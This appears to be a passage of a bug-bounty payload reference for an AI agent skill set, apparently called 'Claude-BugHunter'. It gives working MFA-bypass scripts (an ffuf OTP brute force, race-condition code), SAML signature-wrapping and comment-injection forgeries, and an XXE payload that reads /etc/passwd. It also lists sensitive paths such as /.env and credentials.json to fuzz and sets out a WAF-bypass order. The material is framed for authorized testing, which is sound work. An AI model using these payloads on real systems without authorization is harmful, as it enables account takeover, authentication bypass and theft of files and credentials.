- ## MFA / 2FA BYPASS PAYLOADS
563
-
564
- ### Pattern 1: OTP Brute Force (no rate limit)
565
- ```bash
566
- # Try all 6-digit OTPs
567
- ffuf -u "https://target.com/api/verify-otp" \
568
- -X POST \
569
- -H "Content-Type: application/json" \
570
- -H "Cookie: session=YOUR_SESSION" \
571
- -d '{"otp":"FUZZ"}' \
572
- -w <(seq -w 000000 999999) \
573
- -fc 400,429 \
574
- -t 5
575
-
576
- # Rate limit bypass: rotate session tokens between requests
577
- # Or use GraphQL batching to send 100 attempts per request
578
- ```
579
-
580
- ### Pattern 2: OTP Reuse (token not invalidated)
581
- ```
582
- 1. Request OTP → receive "123456"
583
- 2. Submit OTP correctly → authenticated
584
- 3. Log out
585
- 4. Log in again
586
- 5. Submit same OTP "123456" (expired? still works?)
587
- 6. Try OTP from previous session at new login
588
- ```
589
-
590
- ### Pattern 3: Response Manipulation
591
- ```
592
- Step 1: Enter wrong OTP → intercept response in Burp
593
- Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
594
- Step 3: Forward modified response → sometimes app trusts it and proceeds
595
- Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
596
- ```
597
-
598
- ### Pattern 4: Code Predictability
599
- ```python
600
- import requests, time
601
-
602
- # Some implementations use timestamp-based OTPs:
603
- for t_offset in range(-30, 31): # Test ±30 seconds
604
- totp_value = generate_totp(secret, time.time() + t_offset)
605
- r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
606
- if r.status_code == 200:
607
- print(f"VALID at offset {t_offset}s: {totp_value}")
608
- break
609
- ```
610
-
611
- ### Pattern 5: Backup Codes Not Rate Limited
612
- ```bash
613
- # Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
614
- # Try brute force on /api/verify-backup-code if no rate limit
615
- ```
616
-
617
- ### Pattern 6: Skip MFA Step (Workflow Bypass)
618
- ```bash
619
- # After entering username/password, you get a session cookie
620
- # Test: skip the /mfa/verify step entirely, go directly to /dashboard
621
- # If cookie grants access before MFA = auth flow bypass
622
-
623
- # Also: complete MFA in one session, reuse cookie in another browser
624
- # Checks whether MFA completion is tied to the specific session
625
- ```
626
-
627
- ### Pattern 7: Race on MFA Verification
628
- ```python
629
- import asyncio, aiohttp
630
-
631
- # Race 2 MFA verifications simultaneously
632
- # If both succeed = parallel session ATO
633
- async def verify(session, otp):
634
- async with session.post("https://target.com/api/mfa/verify",
635
- json={"otp": otp}) as r:
636
- return await r.json()
637
-
638
- async def race():
639
- async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
640
- results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
641
- print(results)
642
-
643
- asyncio.run(race())
644
- ```
645
-
646
- ---
647
-
648
- ## SAML ATTACKS
649
-
650
- ### Attack 1: XML Signature Wrapping (XSW)
651
- ```xml
652
- <!-- Original valid assertion: -->
653
- <saml:Assertion ID="legit">
654
- <NameID>user@company.com</NameID>
655
- <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
656
- </saml:Assertion>
657
-
658
- <!-- XSW: Inject malicious assertion before/after the signed one. -->
659
- <!-- Server validates signature on #legit but processes #evil instead. -->
660
- <saml:Response>
661
- <saml:Assertion ID="evil">
662
- <NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
663
- </saml:Assertion>
664
- <saml:Assertion ID="legit"> <!-- Original stays valid -->
665
- <NameID>user@company.com</NameID>
666
- <ds:Signature>VALID_SIGNATURE</ds:Signature>
667
- </saml:Assertion>
668
- </saml:Response>
669
- ```
670
-
671
- ### Attack 2: Comment Injection in NameID
672
- ```xml
673
- <!-- Original: user@company.com -->
674
- <!-- Injected: -->
675
- <NameID>admin<!---->@company.com</NameID>
676
- <!-- XML parsers strip comments: admin@company.com -->
677
- <!-- SAML validator sees "user@company.com" (before comment) -->
678
- <!-- Application uses "admin@company.com" (after comment stripped) -->
679
- ```
680
-
681
- ### Attack 3: Signature Stripping
682
- ```
683
- 1. Capture SAMLResponse (base64 decode from browser)
684
- 2. Remove or modify the <Signature> element entirely
685
- 3. Change NameID to admin@company.com
686
- 4. Re-encode and submit
687
- 5. If server doesn't validate signature presence = admin login
688
- ```
689
-
690
- ### Attack 4: XXE in SAML Assertion
691
- ```xml
692
- <?xml version="1.0" encoding="UTF-8"?>
693
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
694
- <saml:Response>
695
- <saml:Assertion>
696
- <NameID>&xxe;</NameID>
697
- </saml:Assertion>
698
- </saml:Response>
699
- ```
700
-
701
- ### Tools
702
- ```bash
703
- # SAMLRaider (Burp extension) — most automated XSW testing
704
- # Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider
705
-
706
- # Manual: decode, modify, re-encode
707
- echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
708
- # Edit saml.xml
709
- cat saml.xml | base64 -w0 # Re-encode
710
- ```
711
-
712
- ---
713
-
714
- ## GF PATTERN NAMES (tomnomnom/gf)
715
-
716
- ```bash
717
- # Install: https://github.com/tomnomnom/gf
718
- # Usage: cat urls.txt | gf PATTERN
719
-
720
- gf xss # XSS parameters
721
- gf ssrf # SSRF parameters
722
- gf idor # IDOR parameters
723
- gf sqli # SQL injection parameters
724
- gf redirect # Open redirect parameters
725
- gf lfi # Local file inclusion
726
- gf rce # Remote code execution parameters
727
- gf ssti # Template injection parameters
728
- gf debug_logic # Debug/logic parameters
729
- gf secrets # Secret/token patterns
730
- gf upload-fields # File upload parameters
731
- gf cors # CORS-related parameters
732
- ```
733
-
734
- ---
735
-
736
- ## ALWAYS REJECTED — NEVER SUBMIT
737
-
738
- Submitting these destroys your validity ratio. N/A hurts. Don't.
739
-
740
- ```
741
- Missing CSP / HSTS / X-Frame-Options / other security headers
742
- Missing SPF / DKIM / DMARC
743
- GraphQL introspection alone (no auth bypass, no IDOR)
744
- Banner / version disclosure without a working CVE exploit
745
- Clickjacking on non-sensitive pages (no sensitive action in PoC)
746
- Tabnabbing
747
- CSV injection (no actual code execution shown)
748
- CORS wildcard (*) without credential exfil PoC
749
- Logout CSRF
750
- Self-XSS (only exploits own account)
751
- Open redirect alone (no ATO chain, no OAuth code theft)
752
- OAuth client_secret in mobile app (disclosed, expected)
753
- SSRF with DNS callback only (no internal service access)
754
- Host header injection alone (no password reset poisoning PoC)
755
- Rate limit on non-critical forms (login page Cloudflare, search, contact)
756
- Session not invalidated on logout
757
- Concurrent sessions allowed
758
- Internal IP address in error message
759
- Mixed content (HTTP resources on HTTPS page)
760
- SSL weak cipher suites
761
- Missing HttpOnly / Secure cookie flags alone
762
- Broken external links
763
- Pre-account takeover (usually — requires very specific conditions)
764
- Autocomplete on password fields
765
- ```
766
-
767
- ---
768
-
769
- ## CONDITIONALLY VALID — REQUIRES CHAIN
770
-
771
- These are valid ONLY when combined with a chain that proves real impact:
772
-
773
- | Standalone Finding | Chain Required | Result if Chained |
774
- |---|---|---|
775
- | Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |
776
- | Clickjacking | + sensitive action + working PoC (not just login) | Medium |
777
- | CORS wildcard | + credentialed request exfils user data | High |
778
- | CSRF | + sensitive action (transfer funds, change email) | High |
779
- | Rate limit bypass | + OTP/token brute force succeeding | Medium/High |
780
- | SSRF DNS-only | + internal service access + data retrieval | Medium |
781
- | Host header injection | + password reset email uses it | High |
782
- | Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |
783
- | S3 bucket listing | + JS bundles with API keys/OAuth secrets | Medium/High |
784
- | Self-XSS | + CSRF to trigger it on victim | Medium |
785
- | Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |
786
- | GraphQL introspection | + auth bypass mutation or IDOR on node() | High |
787
-
788
- **Rule:** Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.
789
-
790
- ---
791
-
792
- ## WORDLISTS (Installed in ~/wordlists/)
793
-
794
- ```
795
- common.txt # Common directories and files
796
- params.txt # Parameter names (id, user_id, file, etc.)
797
- api-endpoints.txt # API endpoint paths (/api/v1/users, etc.)
798
- dirs.txt # Directory names
799
- sensitive.txt # Sensitive paths (.env, config.json, backup, etc.)
800
- ```
801
-
802
- ### Built-in Paths Worth Fuzzing
803
-
804
- ```bash
805
- # Sensitive files
806
- /.env
807
- /.git/config
808
- /config.json
809
- /credentials.json
810
- /backup.sql
811
- /dump.sql
812
- /.DS_Store
813
- /robots.txt
814
- /sitemap.xml
815
- /.well-known/security.txt
816
-
817
- # Admin panels
818
- /admin
819
- /admin/login
820
- /administrator
821
- /wp-admin
822
- /manager
823
- /console
824
- /dashboard
825
- /panel
826
-
827
- # API discovery
828
- /api
829
- /api/v1
830
- /api/v2
831
- /graphql
832
- /graphiql
833
- /swagger
834
- /swagger-ui.html
835
- /api-docs
836
- /openapi.json
837
- /v1
838
- /v2
839
- ```
840
-
841
- ---
842
-
843
- ## Related Skills & Chains
844
-
845
- - **`hunt-xss`** / **`hunt-ssrf`** / **`hunt-sqli`** / **`hunt-ssti`** / **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.
846
- - **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the "Always Rejected" and "Conditionally Valid — Requires Chain" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.
847
- - **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss/ssrf/sqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.
848
- - **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.
849
- - **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow ("ID param → IDOR checklist", "URL input → SSRF checklist") names which section of this arsenal to load.
850
-
851
- ---
852
-
853
- ## Operator Notes (Claude-BugHunter)
854
-
855
- > Engagement-derived + 2026-specific additions to the vendored foundation.
856
- > Wisdom from real authorized engagements + Phase 2 verification across
857
- > this repo's 31+ skill-area live tests. The upstream payload library
858
- > covers the WHAT; this layer covers the WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T.
859
-
860
- ### Payload freshness — what's gone stale by 2026
861
-
862
- The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work against HAProxy ≤ 2.4, older F5 BIG-IP, Citrix ADC, AWS ALB-specific configs, and Apache Traffic Server. Fingerprint the front-end first — `curl -sI` → `Server:` header + `Via:` chain + TLS JA3 — before burning hours on payloads that the parser already rejects at the front door.
863
-
864
- Same story for XXE classic — Python lxml ≥ 5.x silently drops SYSTEM entities by default (Phase 2G finding). The payloads remain valid against: Java SAX, PHP DOMDocument with LIBXML_NOENT, .NET XmlDocument with XmlResolver still wired, older lxml (< 5.0), Ruby Nokogiri with DTDLOAD, and a long tail of embedded XML processors (SOAP libraries, SAML implementations, Office document parsers). The payload library still ships these — the operator decision is whether the target's parser is in the still-vulnerable set.
865
-
866
- Other stale-by-default-but-not-everywhere payloads as of 2026: `javascript:` URLs in `<a href>` (Chrome blocks unless explicit user gesture; works in embedded WebViews, Electron, older Edge); `data:text/html` for top-level navigation (modern browsers strip in nav contexts); CRLF injection in `Location:` (most reverse proxies normalize). Always test in the actual target environment, not in a generic browser.
867
-
868
- ### WAF evaluation order matters
869
-
870
- When multiple bypass payloads exist for the same WAF, the order to try is:
871
-
872
- 1. **Encoding tricks** — case variation (`SeLeCt`), URL-encode once, URL-encode twice, Unicode escape (`<`), HTML-entity (`&#x3c;`), UTF-8 overlong sequences.
873
- 2. **Parser quirks** — XML namespace, JSON `\u` escapes mid-keyword, `Content-Type: application/json` vs `application/x-www-form-urlencoded` parser-confusion, multipart boundary tricks.
874
- 3. **Protocol-level** — HTTP/2 vs HTTP/1.1 (some WAFs only inspect one), Host header injection, `X-Original-URL`, `X-Forwarded-*` smuggling.
875
- 4. **WAF rule-specific bypasses** — Cloudflare, AWS WAF, Akamai, Imperva, F5 ASM each have known signature gaps; load the vendor-specific payload subsection.
876
-
877
- Most engagements end at step 2 — modern WAFs trip on the parser-quirk class because the WAF and the origin app disagree on what's a "valid" request.
878
-
879
- ### OOB-Or-It-Didn't-Happen Gate applies everywhere
880
-
881
- Every blind primitive (blind SQLi, blind XSS, blind SSRF, blind RCE, blind XXE) needs OOB confirmation. Without it, you can't tell the bug from a parser-error log. Phase 2D's hardened lab proved the gate kills FPs that look identical to real bugs at the surface — error messages with `you have an error in your SQL syntax` text in a 500 page can be parser logs from a different request entirely, hit a Burp Collaborator domain (or interactsh) and confirm callback before filing.
882
-
883
- OOB callback infrastructure ranking by 2026: (1) Burp Collaborator (Pro license; cleanest), (2) interactsh-client (open source; comparable), (3) DNSLog.cn (free but logged by third party — never use for paid engagements), (4) self-hosted catch-all DNS + HTTP listener (most reliable for long-running engagements).
884
-
885
- ### Marker discipline
886
-
887
- Generic words appear naturally in target content. A search for `javascript` hitting "JavaScript Tutorial" is not reflection — it's keyword overlap. Use unique random strings:
888
-
889
- ```
890
- m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
891
- # now m is like "K7gXq2pNRm1z" — search for THIS in the response
892
- curl "https://target/search?q=${m}" | grep -c "$m"
893
- ```
894
-
895
- If the marker appears in the response, you have reflection. If it appears unescaped in HTML context, you have XSS potential. If it appears in a Location header, redirect. If it appears in a SQL error, injection. The marker is the single source of truth — generic keywords lie.
896
-
897
- ### Statistical Sampling for noisy oracles
898
-
899
- Single-trial timing differentials are noise. Require n≥10 interleaved trials, Welch's t-statistic > 3, or equivalent confidence-interval separation. Phase 2D verified this against a deliberately-noisy timing oracle: single trial showed 129ms delta (which would have been filed); n=10 showed mean 78ms vs 191ms with t=5.26 (real, well-supported).
900
-
901
- Skeleton for timing-side-channel validation:
902
-
903
- ```python
904
- import statistics
905
- def welch_t(a, b):
906
- ma, mb = statistics.mean(a), statistics.mean(b)
907
- va, vb = statistics.variance(a), statistics.variance(b)
908
- return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
909
- # interleave control + test trials, n=10 each, t > 3 = signal
910
- ```
911
-
912
- Same rule applies to blind boolean oracles where the diff is response-length or status-code under jitter — sample, don't assume.